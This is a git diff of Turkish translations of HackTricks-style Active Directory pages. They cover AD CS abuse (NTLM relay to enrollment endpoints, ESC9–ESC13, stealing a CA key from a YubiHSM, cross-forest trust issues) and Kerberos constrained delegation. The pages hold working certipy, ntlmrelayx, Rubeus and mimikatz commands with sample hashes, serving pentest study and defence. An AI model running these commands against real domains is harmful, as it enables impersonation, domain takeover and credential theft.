-username john@corp.local -password Passw0rd -ca corp-DC-CA -target ca.corp.local -retrieve 785 Certipy v4.0.0 - by Oliver Lyak (ly4k) @@ -323,16 +323,16 @@ Certipy v4.0.0 - by Oliver Lyak (ly4k) ### Açıklama > [!NOTE] -> **AD CS yüklü** ortamlarda, eğer **kötü niyetli bir web kayıt noktası** varsa ve en az bir **sertifika şablonu yayınlanmışsa** ve **alan bilgisayarı kaydı ve istemci kimlik doğrulaması** (varsayılan **`Machine`** şablonu gibi) izni veriyorsa, **spooler servisi aktif olan herhangi bir bilgisayarın bir saldırgan tarafından tehlikeye atılması** mümkün hale gelir! +> **AD CS yüklü** olan ortamlarda, eğer **kötü niyetli bir web kayıt noktası** varsa ve en az bir **sertifika şablonu yayımlanmışsa** (örneğin, varsayılan **`Machine`** şablonu gibi) **spooler servisi aktif olan herhangi bir bilgisayarın bir saldırgan tarafından tehlikeye atılması mümkün hale gelir**! AD CS tarafından desteklenen birkaç **HTTP tabanlı kayıt yöntemi** vardır ve bunlar yöneticilerin yükleyebileceği ek sunucu rolleri aracılığıyla sunulmaktadır. HTTP tabanlı sertifika kaydı için bu arayüzler **NTLM relay saldırılarına** karşı hassastır. Bir saldırgan, **tehlikeye atılmış bir makineden, gelen NTLM aracılığıyla kimlik doğrulayan herhangi bir AD hesabını taklit edebilir**. Kurban hesabını taklit ederken, bu web arayüzleri bir saldırgan tarafından **`User` veya `Machine` sertifika şablonlarını kullanarak bir istemci kimlik doğrulama sertifikası talep etmek için erişilebilir**. -- **Web kayıt arayüzü** (`http:///certsrv/` adresinde bulunan eski bir ASP uygulaması), varsayılan olarak yalnızca HTTP'yi destekler ve bu, NTLM relay saldırılarına karşı koruma sağlamaz. Ayrıca, yalnızca NTLM kimlik doğrulamasına izin vererek, Kerberos gibi daha güvenli kimlik doğrulama yöntemlerini geçersiz kılar. -- **Sertifika Kayıt Servisi** (CES), **Sertifika Kayıt Politikası** (CEP) Web Servisi ve **Ağ Cihazı Kayıt Servisi** (NDES) varsayılan olarak, yetkilendirme HTTP başlıkları aracılığıyla müzakere kimlik doğrulamasını destekler. Müzakere kimlik doğrulaması **hem** Kerberos'u hem de **NTLM**'yi destekler, bu da bir saldırganın **relay saldırıları sırasında NTLM** kimlik doğrulamasına **düşmesine** olanak tanır. Bu web hizmetleri varsayılan olarak HTTPS'yi etkinleştirse de, HTTPS tek başına **NTLM relay saldırılarına karşı koruma sağlamaz**. HTTPS hizmetleri için NTLM relay saldırılarından korunma, yalnızca HTTPS'nin kanal bağlama ile birleştirilmesiyle mümkündür. Ne yazık ki, AD CS, kanal bağlama için gerekli olan IIS'de Genişletilmiş Koruma için Kimlik Doğrulamasını etkinleştirmemektedir. +- **Web kayıt arayüzü** (`http:///certsrv/` adresinde bulunan eski bir ASP uygulaması), varsayılan olarak yalnızca HTTP'ye ayarlanmıştır ve bu, NTLM relay saldırılarına karşı koruma sağlamaz. Ayrıca, yalnızca NTLM kimlik doğrulamasına izin vererek, Kerberos gibi daha güvenli kimlik doğrulama yöntemlerinin uygulanamaz hale gelmesine neden olur. +- **Sertifika Kayıt Servisi** (CES), **Sertifika Kayıt Politikası** (CEP) Web Servisi ve **Ağ Cihazı Kayıt Servisi** (NDES) varsayılan olarak, yetkilendirme HTTP başlıkları aracılığıyla müzakere kimlik doğrulamasını destekler. Müzakere kimlik doğrulaması **hem** Kerberos'u hem de **NTLM**'yi destekleyerek, bir saldırganın relay saldırıları sırasında **NTLM'ye düşmesine** olanak tanır. Bu web hizmetleri varsayılan olarak HTTPS'yi etkinleştirse de, HTTPS tek başına **NTLM relay saldırılarına karşı koruma sağlamaz**. HTTPS hizmetleri için NTLM relay saldırılarına karşı koruma, yalnızca HTTPS'nin kanal bağlama ile birleştirilmesi durumunda mümkündür. Ne yazık ki, AD CS, kanal bağlama için gerekli olan IIS'de Genişletilmiş Koruma'yı etkinleştirmemektedir. -NTLM relay saldırılarındaki yaygın bir **sorun**, **NTLM oturumlarının kısa süresi** ve saldırganın **NTLM imzalamayı** gerektiren hizmetlerle etkileşimde bulunamamasıdır. +NTLM relay saldırılarındaki yaygın bir **sorun**, **NTLM oturumlarının kısa süresi** ve saldırganın **NTLM imzası gerektiren** hizmetlerle etkileşimde bulunamamasıdır. -Yine de, bu sınırlama, bir kullanıcı için bir sertifika edinmek amacıyla bir NTLM relay saldırısını kullanarak aşılmaktadır, çünkü sertifikanın geçerlilik süresi oturumun süresini belirler ve sertifika, **NTLM imzalamayı** zorunlu kılan hizmetlerle kullanılabilir. Çalınan bir sertifikanın nasıl kullanılacağına dair talimatlar için bakınız: +Yine de, bu sınırlama, bir kullanıcı için bir sertifika edinmek amacıyla bir NTLM relay saldırısını kullanarak aşılmaktadır, çünkü sertifikanın geçerlilik süresi oturumun süresini belirler ve sertifika, **NTLM imzası gerektiren** hizmetlerle kullanılabilir. Çalınan bir sertifikanın nasıl kullanılacağına dair talimatlar için bakınız: {{#ref}} account-persistence.md @@ -346,7 +346,7 @@ NTLM relay saldırılarının bir diğer sınırlaması, **bir saldırgan kontro ### **Kötüye Kullanım** -[**Certify**](https://github.com/GhostPack/Certify)’nin `cas` komutu, **etkin HTTP AD CS uç noktalarını** listeler: +[**Certify**](https://github.com/GhostPack/Certify)’nin `cas` komutu **etkin HTTP AD CS uç noktalarını** listeler: ``` Certify.exe cas ``` @@ -357,7 +357,7 @@ Certify.exe cas certutil.exe -enrollmentServerURL -config DC01.DOMAIN.LOCAL\DOMAIN-CA ```
-```powershell +```bash Import-Module PSPKI Get-CertificationAuthority | select Name,Enroll* | Format-List * ``` @@ -380,9 +380,9 @@ execute-assembly C:\SpoolSample\SpoolSample\bin\Debug\SpoolSample.exe < ``` #### Abuse with [Certipy](https://github.com/ly4k/Certipy) -Certipy, varsayılan olarak, `Machine` veya `User` şablonuna dayalı olarak bir sertifika talep eder; bu, iletilen hesap adının `$` ile bitip bitmediğine bağlıdır. Alternatif bir şablonun belirtilmesi, `-template` parametresinin kullanılmasıyla sağlanabilir. +Certipy, varsayılan olarak, `$` ile bitip bitmediğine bağlı olarak `Machine` veya `User` şablonuna dayalı olarak bir sertifika talep eder. Alternatif bir şablonun belirtilmesi, `-template` parametresinin kullanılmasıyla sağlanabilir. -Daha sonra, kimlik doğrulamasını zorlamak için [PetitPotam](https://github.com/ly4k/PetitPotam) gibi bir teknik kullanılabilir. Alan denetleyicileri ile çalışırken, `-template DomainController` belirtilmesi gereklidir. +Kimlik doğrulamasını zorlamak için [PetitPotam](https://github.com/ly4k/PetitPotam) gibi bir teknik kullanılabilir. Alan denetleyicileri ile çalışırken, `-template DomainController` belirtilmesi gereklidir. ```bash certipy relay -ca ca.corp.local Certipy v4.0.0 - by Oliver Lyak (ly4k) @@ -405,14 +405,14 @@ Bu bayrağın ayarının önemli hale geldiği koşullar şunlardır: - `StrongCertificateBindingEnforcement` `2` olarak ayarlanmamışsa (varsayılan `1`), veya `CertificateMappingMethods` `UPN` bayrağını içeriyorsa. - Sertifika, `msPKI-Enrollment-Flag` ayarındaki `CT_FLAG_NO_SECURITY_EXTENSION` bayrağı ile işaretlenmişse. -- Sertifika tarafından herhangi bir istemci kimlik doğrulama EKU belirtilmişse. -- Başka bir hesabı tehlikeye atmak için herhangi bir hesap üzerinde `GenericWrite` izinleri mevcutsa. +- Herhangi bir istemci kimlik doğrulama EKU sertifika tarafından belirtilmişse. +- Başka bir hesabı tehlikeye atmak için `GenericWrite` izinleri mevcutsa. ### İstismar Senaryosu Diyelim ki `John@corp.local`, `Jane@corp.local` üzerinde `GenericWrite` izinlerine sahip ve amacı `Administrator@corp.local`'ı tehlikeye atmaktır. `Jane@corp.local`'ın kaydolmasına izin verilen `ESC9` sertifika şablonu, `msPKI-Enrollment-Flag` ayarında `CT_FLAG_NO_SECURITY_EXTENSION` bayrağı ile yapılandırılmıştır. -Başlangıçta, `Jane`'in hash'i, `John`'un `GenericWrite`'ı sayesinde Shadow Credentials kullanılarak elde edilir: +İlk olarak, `Jane`'in hash'i, `John`'un `GenericWrite`'ı sayesinde Shadow Credentials kullanılarak elde edilir: ```bash certipy shadow auto -username John@corp.local -password Passw0rd! -account Jane ``` @@ -420,7 +420,7 @@ Sonrasında, `Jane`'in `userPrincipalName` değeri `Administrator` olarak deği ```bash certipy account update -username John@corp.local -password Passw0rd! -user Jane -upn Administrator ``` -Bu değişiklik, `Administrator@corp.local`'ın `Administrator`'ın `userPrincipalName`'i olarak farklı kalması göz önüne alındığında kısıtlamaları ihlal etmez. +Bu değişiklik, `Administrator@corp.local`'ın `Administrator`'ın `userPrincipalName` olarak ayrı kalması göz önüne alındığında kısıtlamaları ihlal etmez. Bunun ardından, savunmasız olarak işaretlenen `ESC9` sertifika şablonu `Jane` olarak talep edilir: ```bash @@ -442,8 +442,8 @@ certipy auth -pfx adminitrator.pfx -domain corp.local ESC10 tarafından belirtilen iki kayıt defteri anahtar değeri alan denetleyicisinde bulunmaktadır: -- `HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\SecurityProviders\Schannel` altında `CertificateMappingMethods` için varsayılan değer `0x18` (`0x8 | 0x10`), daha önce `0x1F` olarak ayarlanmıştı. -- `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Kdc` altında `StrongCertificateBindingEnforcement` için varsayılan ayar `1`, daha önce `0` idi. +- `HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\SecurityProviders\Schannel` altındaki `CertificateMappingMethods` için varsayılan değer `0x18` (`0x8 | 0x10`), daha önce `0x1F` olarak ayarlanmıştı. +- `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Kdc` altındaki `StrongCertificateBindingEnforcement` için varsayılan ayar `1`, daha önce `0` idi. **Durum 1** @@ -453,13 +453,13 @@ ESC10 tarafından belirtilen iki kayıt defteri anahtar değeri alan denetleyici Eğer `CertificateMappingMethods` `UPN` bitini (`0x4`) içeriyorsa. -### Suistimal Durumu 1 +### Kötüye Kullanım Durumu 1 `StrongCertificateBindingEnforcement` `0` olarak yapılandırıldığında, `GenericWrite` izinlerine sahip bir A hesabı, herhangi bir B hesabını tehlikeye atmak için kullanılabilir. -Örneğin, `Jane@corp.local` üzerinde `GenericWrite` izinlerine sahip olan bir saldırgan, `Administrator@corp.local` hesabını tehlikeye atmayı hedefler. Prosedür ESC9'u yansıtır ve herhangi bir sertifika şablonunun kullanılmasına izin verir. +Örneğin, `Jane@corp.local` üzerinde `GenericWrite` izinlerine sahip bir saldırgan, `Administrator@corp.local` hesabını tehlikeye atmayı hedefler. Prosedür ESC9'u yansıtır ve herhangi bir sertifika şablonunun kullanılmasına izin verir. -İlk olarak, `Jane`'in hash'i Shadow Credentials kullanılarak elde edilir, `GenericWrite` suistimal edilerek. +İlk olarak, `Jane`'in hash'i Shadow Credentials kullanılarak elde edilir, `GenericWrite`'ı kötüye kullanarak. ```bash certipy shadow autho -username John@corp.local -p Passw0rd! -a Jane ``` @@ -471,7 +471,7 @@ Bunun ardından, varsayılan `User` şablonunu kullanarak `Jane` olarak istemci ```bash certipy req -ca 'corp-DC-CA' -username Jane@corp.local -hashes ``` -`Jane`'in `userPrincipalName`'i daha sonra orijinaline, `Jane@corp.local` olarak geri döndürülür. +`Jane`'in `userPrincipalName`'i daha sonra orijinal haline, `Jane@corp.local` olarak geri döndürülür. ```bash certipy account update -username John@corp.local -password Passw0rd! -user Jane -upn Jane@corp.local ``` @@ -481,9 +481,9 @@ certipy auth -pfx administrator.pfx -domain corp.local ``` ### Abuse Case 2 -`CertificateMappingMethods` içinde `UPN` bit bayrağı (`0x4`) bulunduğunda, `GenericWrite` izinlerine sahip bir A hesabı, `userPrincipalName` özelliğinden yoksun herhangi bir B hesabını, makine hesapları ve yerleşik alan yöneticisi `Administrator` dahil olmak üzere tehlikeye atabilir. +`CertificateMappingMethods` içinde `UPN` bit bayrağı (`0x4`) bulunduğunda, `GenericWrite` izinlerine sahip bir A hesabı, `userPrincipalName` özelliğinden yoksun olan herhangi bir B hesabını, makine hesapları ve yerleşik alan yöneticisi `Administrator` dahil olmak üzere tehlikeye atabilir. -Burada, hedef `DC$@corp.local`'ı tehlikeye atmak, `Jane`'in hash'ini Shadow Credentials aracılığıyla elde etmekle başlamak ve `GenericWrite`'ı kullanmaktır. +Burada, hedef `DC$@corp.local`'ı tehlikeye atmak ve `GenericWrite`'ı kullanarak Shadow Credentials aracılığıyla `Jane`'in hash'ini elde etmekle başlamak. ```bash certipy shadow auto -username John@corp.local -p Passw0rd! -account Jane ``` @@ -491,15 +491,15 @@ certipy shadow auto -username John@corp.local -p Passw0rd! -account Jane ```bash certipy account update -username John@corp.local -password Passw0rd! -user Jane -upn 'DC$@corp.local' ``` -`Jane` olarak varsayılan `User` şablonunu kullanarak bir istemci kimlik doğrulama sertifikası talep edilir. +`Jane` olarak varsayılan `User` şablonunu kullanarak istemci kimlik doğrulaması için bir sertifika talep edilir. ```bash certipy req -ca 'corp-DC-CA' -username Jane@corp.local -hashes ``` -`Jane`'in `userPrincipalName`'i bu işlemden sonra orijinal haline döner. +`Jane`'in `userPrincipalName`'i bu işlemden sonra orijinal haline geri döner. ```bash certipy account update -username John@corp.local -password Passw0rd! -user Jane -upn 'Jane@corp.local' ``` -Schannel üzerinden kimlik doğrulamak için, Certipy'nin `-ldap-shell` seçeneği kullanılır ve kimlik doğrulama başarısı `u:CORP\DC$` olarak belirtilir. +Schannel üzerinden kimlik doğrulamak için, Certipy’nin `-ldap-shell` seçeneği kullanılır ve kimlik doğrulama başarısı `u:CORP\DC$` olarak belirtilir. ```bash certipy auth -pfx dc.pfx -dc-ip 172.16.126.128 -ldap-shell ``` @@ -507,15 +507,15 @@ LDAP shell üzerinden, `set_rbcd` gibi komutlar, Kaynak Tabanlı Kısıtlı Dele ```bash certipy auth -pfx dc.pfx -dc-ip 172.16.126.128 -ldap-shell ``` -Bu zafiyet, `userPrincipalName` eksik olan veya `sAMAccountName` ile eşleşmeyen herhangi bir kullanıcı hesabını da kapsar; varsayılan `Administrator@corp.local`, yükseltilmiş LDAP ayrıcalıkları ve varsayılan olarak bir `userPrincipalName` olmaması nedeniyle önemli bir hedefdir. +Bu zafiyet, `userPrincipalName`'ı olmayan veya `sAMAccountName` ile eşleşmeyen herhangi bir kullanıcı hesabını da kapsar; varsayılan `Administrator@corp.local`, yükseltilmiş LDAP ayrıcalıkları ve varsayılan olarak `userPrincipalName`'ın olmaması nedeniyle önemli bir hedef olmaktadır. ## NTLM'yi ICPR'ye İletme - ESC11 ### Açıklama -Eğer CA Sunucusu `IF_ENFORCEENCRYPTICERTREQUEST` ile yapılandırılmamışsa, RPC hizmeti aracılığıyla imzalamadan NTLM iletme saldırıları gerçekleştirilebilir. [Reference in here](https://blog.compass-security.com/2022/11/relaying-to-ad-certificate-services-over-rpc/). +Eğer CA Sunucusu `IF_ENFORCEENCRYPTICERTREQUEST` ile yapılandırılmamışsa, RPC hizmeti aracılığıyla imza olmadan NTLM iletme saldırıları gerçekleştirilebilir. [Burada referans](https://blog.compass-security.com/2022/11/relaying-to-ad-certificate-services-over-rpc/) bulunmaktadır. -`Enforce Encryption for Requests` devre dışı ise, `certipy` kullanarak durumu belirleyebilirsiniz ve certipy `ESC11` Zafiyetlerini gösterecektir. +`Enforce Encryption for Requests` devre dışıysa, `certipy` kullanarak durumu belirleyebilirsiniz ve certipy `ESC11` Zafiyetlerini gösterecektir. ```bash $ certipy find -u mane@domain.local -p 'password' -dc-ip 192.168.100.100 -stdout Certipy v4.0.0 - by Oliver Lyak (ly4k) @@ -553,7 +553,7 @@ Certipy v4.7.0 - by Oliver Lyak (ly4k) [*] Saved certificate and private key to 'administrator.pfx' [*] Exiting... ``` -Not: Alan denetleyicileri için DomainController'da `-template` belirtmeliyiz. +Not: Alan denetleyicileri için, DomainController'da `-template` belirtmemiz gerekir. Veya [sploutchy'nin impacket çatallamasını](https://github.com/sploutchy/impacket) kullanarak: ```bash @@ -565,7 +565,7 @@ $ ntlmrelayx.py -t rpc://192.168.100.100 -rpc-mode ICPR -icpr-ca-name DC01-CA -s Yönetici, Sertifika Otoritesini "Yubico YubiHSM2" gibi harici bir cihazda depolamak için ayarlayabilir. -USB cihazı, CA sunucusuna bir USB portu aracılığıyla bağlıysa veya CA sunucusu sanal bir makineyse, YubiHSM'de anahtarları oluşturmak ve kullanmak için Anahtar Depolama Sağlayıcısı tarafından bir kimlik doğrulama anahtarı (bazen "şifre" olarak adlandırılır) gereklidir. +Eğer USB cihazı CA sunucusuna bir USB portu aracılığıyla bağlıysa veya CA sunucusu sanal bir makineyse bir USB cihaz sunucusu varsa, YubiHSM'de anahtarları oluşturmak ve kullanmak için Anahtar Depolama Sağlayıcısı için bir kimlik doğrulama anahtarı (bazen "şifre" olarak adlandırılır) gereklidir. Bu anahtar/şifre, `HKEY_LOCAL_MACHINE\SOFTWARE\Yubico\YubiHSM\AuthKeysetPassword` altında açık metin olarak kayıt defterinde saklanır. @@ -573,7 +573,7 @@ Bu anahtar/şifre, `HKEY_LOCAL_MACHINE\SOFTWARE\Yubico\YubiHSM\AuthKeysetPasswor ### Suistimal Senaryosu -Eğer CA'nın özel anahtarı fiziksel bir USB cihazında saklanıyorsa ve shell erişimi elde ettiyseniz, anahtarı kurtarmak mümkündür. +Eğer CA'nın özel anahtarı fiziksel bir USB cihazında saklanıyorsa ve shell erişimi elde ettiyseniz, anahtarı geri almak mümkündür. Öncelikle, CA sertifikasını (bu kamuya açıktır) elde etmeniz ve ardından: ```cmd @@ -583,18 +583,18 @@ $ certutil -addstore -user my # Associated with the private key in the YubiHSM2 device $ certutil -csp "YubiHSM Key Storage Provider" -repairstore -user my ``` -Son olarak, CA sertifikası ve özel anahtarını kullanarak yeni bir keyfi sertifika oluşturmak için certutil `-sign` komutunu kullanın. +Son olarak, CA sertifikasını ve özel anahtarını kullanarak yeni bir keyfi sertifika oluşturmak için certutil `-sign` komutunu kullanın. ## OID Grup Bağlantı İstismarı - ESC13 ### Açıklama -`msPKI-Certificate-Policy` niteliği, sertifika şablonuna ihraç politikasının eklenmesine olanak tanır. Politika ihraçından sorumlu `msPKI-Enterprise-Oid` nesneleri, PKI OID konteynerinin Yapılandırma İsimlendirme Bağlamı'nda (CN=OID,CN=Public Key Services,CN=Services) keşfedilebilir. Bir politika, bu nesnenin `msDS-OIDToGroupLink` niteliği kullanılarak bir AD grubuna bağlanabilir ve bu, bir sistemin sertifikayı sunan bir kullanıcıyı, sanki grubun bir üyesiymiş gibi yetkilendirmesine olanak tanır. [Burada referans](https://posts.specterops.io/adcs-esc13-abuse-technique-fda4272fbd53). +`msPKI-Certificate-Policy` niteliği, sertifika şablonuna ihraç politikasının eklenmesine olanak tanır. Politika ihraçından sorumlu `msPKI-Enterprise-Oid` nesneleri, PKI OID konteynerinin Yapılandırma İsimlendirme Bağlamı'nda (CN=OID,CN=Public Key Services,CN=Services) keşfedilebilir. Bir politika, bu nesnenin `msDS-OIDToGroupLink` niteliği kullanılarak bir AD grubuna bağlanabilir ve bu, bir sistemin sertifikayı sunan bir kullanıcıyı grubun üyesiymiş gibi yetkilendirmesine olanak tanır. [Burada referans](https://posts.specterops.io/adcs-esc13-abuse-technique-fda4272fbd53). Diğer bir deyişle, bir kullanıcının bir sertifika kaydetme izni olduğunda ve sertifika bir OID grubuna bağlandığında, kullanıcı bu grubun ayrıcalıklarını miras alabilir. OIDToGroupLink bulmak için [Check-ADCSESC13.ps1](https://github.com/JonasBK/Powershell/blob/master/Check-ADCSESC13.ps1) kullanın: -```powershell +```bash Enumerating OIDs ------------------------ OID 23541150.FCB720D24BC82FBD1A33CB406A14094D links to group: CN=VulnerableGroup,CN=Users,DC=domain,DC=local @@ -621,19 +621,21 @@ Bir kullanıcı izni bulun, `certipy find` veya `Certify.exe find /showAllPermis Eğer `John`, `VulnerableTemplate`'i kaydetme iznine sahipse, kullanıcı `VulnerableGroup` grubunun ayrıcalıklarını miras alabilir. -Tek yapması gereken şablonu belirtmek, OIDToGroupLink haklarıyla bir sertifika alacaktır. +Tek yapması gereken şablonu belirtmek, OIDToGroupLink haklarına sahip bir sertifika alacaktır. ```bash certipy req -u "John@domain.local" -p "password" -dc-ip 192.168.100.100 -target "DC01.domain.local" -ca 'DC01-CA' -template 'VulnerableTemplate' ``` -## Sertifikalar ile Ormanların Ele Geçirilmesi Pasif Sesle Açıklandı +## Ormanların Sertifikalarla Kompromize Edilmesi Pasif Sesle Açıklandı -### Ele Geçirilmiş CA'lar Tarafından Orman Güvenlerinin İhlali +### Kompromize Edilmiş CA'lar Tarafından Orman Güvenlerinin Bozulması -**Çapraz orman kaydı** için yapılandırma oldukça basittir. **Kök CA sertifikası**, kaynak ormandan **hesap ormanlarına** yöneticiler tarafından **yayınlanır** ve kaynak ormandan **kurumsal CA** sertifikaları, her hesap ormanındaki `NTAuthCertificates` ve AIA konteynerlerine **eklenir**. Bu düzenleme, **kaynak ormandaki CA'ya**, yönettiği PKI için tüm diğer ormanlar üzerinde tam kontrol sağlar. Eğer bu CA **saldırganlar tarafından ele geçirilirse**, hem kaynak hem de hesap ormanlarındaki tüm kullanıcılar için sertifikalar **onlar tarafından sahte olarak oluşturulabilir**, böylece ormanın güvenlik sınırı ihlal edilmiş olur. +**Çapraz orman kaydı** için yapılandırma nispeten basittir. **Kaynak ormandan gelen kök CA sertifikası**, yöneticiler tarafından **hesap ormanlarına yayımlanır** ve kaynak ormandan gelen **kurumsal CA** sertifikaları, her hesap ormanındaki `NTAuthCertificates` ve AIA konteynerlerine **eklenir**. Bu düzenleme, **kaynak ormandaki CA'ya**, yönettiği PKI için tüm diğer ormanlar üzerinde tam kontrol sağlar. Eğer bu CA **saldırganlar tarafından kompromize edilirse**, hem kaynak hem de hesap ormanlarındaki tüm kullanıcılar için sertifikalar **onlar tarafından sahte olarak oluşturulabilir**, böylece ormanın güvenlik sınırı ihlal edilmiş olur. ### Yabancı Prensiplere Verilen Kayıt Ayrıcalıkları -Çoklu orman ortamlarında, **sertifika şablonları** yayınlayan Kurumsal CA'lar konusunda dikkatli olunmalıdır; bu şablonlar **Kimlik Doğrulanmış Kullanıcılar veya yabancı prensipler** (Kurumsal CA'nın ait olduğu ormanın dışındaki kullanıcılar/gruplar) için **kayıt ve düzenleme hakları** sağlar.\ -Bir güven ilişkisi üzerinden kimlik doğrulama yapıldığında, **Kimlik Doğrulanmış Kullanıcı SID**'si AD tarafından kullanıcının token'ına eklenir. Dolayısıyla, eğer bir alan, **Kimlik Doğrulanmış Kullanıcıların kayıt haklarına** sahip bir Kurumsal CA'ya sahipse, farklı bir ormandan bir kullanıcı tarafından bir şablon **kayıt edilebilir**. Benzer şekilde, eğer **kayıt hakları bir şablon tarafından açıkça bir yabancı prensipe verilirse**, **çapraz orman erişim kontrol ilişkisi** oluşturulmuş olur; bu da bir ormandan bir prensibin **başka bir ormandan bir şablona kayıt olmasını** sağlar. +Çoklu orman ortamlarında, **sertifika şablonları yayımlayan** Kurumsal CA'lar konusunda dikkatli olunmalıdır; bu şablonlar **Kimlik Doğrulanmış Kullanıcılar veya yabancı prensiplerin** (Kurumsal CA'nın ait olduğu ormanın dışındaki kullanıcılar/gruplar) **kayıt ve düzenleme haklarına** izin verir.\ +Bir güven ilişkisi üzerinden kimlik doğrulama yapıldığında, **Kimlik Doğrulanmış Kullanıcı SID** AD tarafından kullanıcının token'ına eklenir. Dolayısıyla, eğer bir alan, **Kimlik Doğrulanmış Kullanıcıların kayıt haklarına** sahip bir Kurumsal CA'ya sahipse, bir kullanıcı **farklı bir ormandan bir şablona kayıt olabilme** potansiyeline sahip olabilir. Benzer şekilde, eğer **bir şablon tarafından bir yabancı prense açıkça kayıt hakları verilirse**, bu durum **çapraz orman erişim kontrol ilişkisi** oluşturur ve bir ormandan bir prensibin **diğer bir ormandan bir şablona kayıt olmasına** olanak tanır. Her iki senaryo da bir ormandan diğerine **saldırı yüzeyinin artmasına** yol açar. Sertifika şablonunun ayarları, bir saldırgan tarafından yabancı bir alanda ek ayrıcalıklar elde etmek için istismar edilebilir. + +{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/windows-hardening/active-directory-methodology/constrained-delegation.md b/src/windows-hardening/active-directory-methodology/constrained-delegation.md index 2719c4a26..e553a6c06 100644 --- a/src/windows-hardening/active-directory-methodology/constrained-delegation.md +++ b/src/windows-hardening/active-directory-methodology/constrained-delegation.md @@ -1,21 +1,21 @@ -# Kısıtlı Delegasyon +# Constrained Delegation {{#include ../../banners/hacktricks-training.md}} -## Kısıtlı Delegasyon +## Constrained Delegation -Bunu kullanarak bir Domain yöneticisi, bir bilgisayarın bir **kullanıcı veya bilgisayarı** bir makinenin **hizmeti** karşısında **taklit etmesine** **izin verebilir**. +Bunu kullanarak bir Domain yöneticisi, bir bilgisayarın herhangi bir makinenin **hizmeti** karşısında bir **kullanıcı veya bilgisayar** olarak **taklit etmesine** **izin verebilir**. -- **Kullanıcı için Hizmet (**_**S4U2self**_**):** Eğer bir **hizmet hesabı** _userAccountControl_ değeri [TRUSTED_TO_AUTH_FOR_DELEGATION]() (T2A4D) içeriyorsa, o zaman kendisi (hizmet) adına herhangi bir kullanıcı için bir TGS alabilir. -- **Kullanıcı için Proxy Hizmeti (**_**S4U2proxy**_**):** Bir **hizmet hesabı**, **msDS-AllowedToDelegateTo**'da ayarlanan hizmet için herhangi bir kullanıcı adına bir TGS alabilir. Bunu yapmak için, önce o kullanıcıdan kendisine bir TGS alması gerekir, ancak diğerini talep etmeden önce bu TGS'yi elde etmek için S4U2self kullanabilir. +- **Kullanıcı için Hizmet (_S4U2self_):** Eğer bir **hizmet hesabı** _userAccountControl_ değeri [TrustedToAuthForDelegation]() (T2A4D) içeriyorsa, o zaman kendisi (hizmet) adına herhangi bir kullanıcı için bir TGS alabilir. +- **Kullanıcı için Proxy (_S4U2proxy_):** Bir **hizmet hesabı**, **msDS-AllowedToDelegateTo** içinde ayarlanan hizmet için herhangi bir kullanıcı adına bir TGS alabilir. Bunu yapmak için, önce o kullanıcıdan kendisine bir TGS alması gerekir, ancak diğerini talep etmeden önce bu TGS'yi almak için S4U2self kullanabilir. **Not**: Eğer bir kullanıcı AD'de ‘_Hesap hassas ve devredilemez_’ olarak işaretlenmişse, onu **taklit edemezsiniz**. -Bu, eğer **hizmetin hash'ini ele geçirirseniz**, **kullanıcıları taklit edebileceğiniz** ve onların adına **hizmete erişim** elde edebileceğiniz anlamına gelir (mümkün **privesc**). +Bu, eğer **hizmetin hash'ini ele geçirirseniz**, **kullanıcıları taklit edebileceğiniz** ve onların adına herhangi bir **hizmete** erişim **sağlayabileceğiniz** anlamına gelir (mümkün **privesc**). -Ayrıca, **kullanıcının taklit edebileceği hizmete erişiminiz olmayacak, aynı zamanda herhangi bir hizmete** de erişiminiz olacak çünkü SPN (istenen hizmet adı) kontrol edilmemektedir, yalnızca ayrıcalıklar kontrol edilmektedir. Bu nedenle, eğer **CIFS hizmetine** erişiminiz varsa, Rubeus'ta `/altservice` bayrağını kullanarak **HOST hizmetine** de erişiminiz olabilir. +Ayrıca, **kullanıcının taklit edebileceği hizmete** erişiminiz olmayacak, aynı zamanda **SPN** (istenen hizmet adı) kontrol edilmediği için herhangi bir hizmete de erişiminiz olacak (biletin bu kısmı şifrelenmemiş/imzalanmamıştır). Bu nedenle, eğer **CIFS hizmetine** erişiminiz varsa, örneğin Rubeus'ta `/altservice` bayrağını kullanarak **HOST hizmetine** de erişiminiz olabilir. -Ayrıca, **DC'deki LDAP hizmet erişimi**, bir **DCSync**'i istismar etmek için gereklidir. +Ayrıca, **DC üzerindeki LDAP hizmet erişimi**, bir **DCSync**'i istismar etmek için gereklidir. ```bash:Enumerate # Powerview Get-DomainUser -TrustedToAuth | select userprincipalname, name, msds-allowedtodelegateto @@ -25,6 +25,11 @@ Get-DomainComputer -TrustedToAuth | select userprincipalname, name, msds-allowed ADSearch.exe --search "(&(objectCategory=computer)(msds-allowedtodelegateto=*))" --attributes cn,dnshostname,samaccountname,msds-allowedtodelegateto --json ``` +```bash:Quick Way +# Generate TGT + TGS impersonating a user knowing the hash +Rubeus.exe s4u /user:sqlservice /domain:testlab.local /rc4:2b576acbe6bcfda7294d6bd18041b8fe /impersonateuser:administrator /msdsspn:"CIFS/dcorp-mssql.dollarcorp.moneycorp.local" /altservice:ldap /ptt +``` +- Adım 1: **İzin verilen hizmetin TGT'sini al** ```bash:Get TGT # The first step is to get a TGT of the service that can impersonate others ## If you are SYSTEM in the server, you might take it from memory @@ -36,22 +41,24 @@ ADSearch.exe --search "(&(objectCategory=computer)(msds-allowedtodelegateto=*))" mimikatz sekurlsa::ekeys ## Request with aes -tgt::ask /user:dcorp-adminsrv$ /domain:dollarcorp.moneycorp.local /aes256:babf31e0d787aac5c9cc0ef38c51bab5a2d2ece608181fb5f1d492ea55f61f05 +tgt::ask /user:dcorp-adminsrv$ /domain:sub.domain.local /aes256:babf31e0d787aac5c9cc0ef38c51bab5a2d2ece608181fb5f1d492ea55f61f05 .\Rubeus.exe asktgt /user:dcorp-adminsrv$ /aes256:babf31e0d787aac5c9cc0ef38c51bab5a2d2ece608181fb5f1d492ea55f61f05 /opsec /nowrap # Request with RC4 -tgt::ask /user:dcorp-adminsrv$ /domain:dollarcorp.moneycorp.local /rc4:8c6264140d5ae7d03f7f2a53088a291d +tgt::ask /user:dcorp-adminsrv$ /domain:sub.domain.local /rc4:8c6264140d5ae7d03f7f2a53088a291d .\Rubeus.exe asktgt /user:dcorp-adminsrv$ /rc4:cc098f204c5887eaa8253e7c2749156f /outfile:TGT_websvc.kirbi ``` > [!WARNING] -> Bilgisayarda SYSTEM olmadan **TGT bileti** veya **RC4** ya da **AES256** elde etmenin **başka 